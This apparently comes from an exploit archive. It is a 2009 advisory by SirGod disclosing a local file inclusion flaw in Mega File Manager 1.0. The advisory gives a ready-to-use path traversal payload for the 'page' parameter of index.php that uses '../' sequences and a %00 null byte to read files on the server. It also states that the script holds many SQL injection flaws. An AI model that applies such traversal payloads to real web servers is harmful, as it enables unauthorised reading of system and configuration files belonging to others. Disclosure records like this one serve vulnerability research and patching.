Mega File Manager 1.0 (index.php page) LFI Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Mega File Manager 1.0 (index.php page) LFI Vulnerability
# Published : 2009-06-26
# Author : SirGod
# Previous Title : ForumPal FE 1.1 (Auth Bypass) Remote SQL Injection Vulnerability
# Next Title : Joomla Component com_pinboard (task) SQL Injection Exploit

#################################################################################################################
[+] Mega File Manager 1.0 (index.php page) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
#################################################################################################################

[+] Homepage : http://www.awesomephp.com/?MegaFileManager

[+] Note : The script is full of SQL Injection vulns,but I am tired to
make querys now.

[+] Local File Inclusion

    http://127.0.0.1/[path]/index.php?page=../../../../../../BOOTSECT.BAK%00

#################################################################################################################

# www.Syue.com [2009-06-26]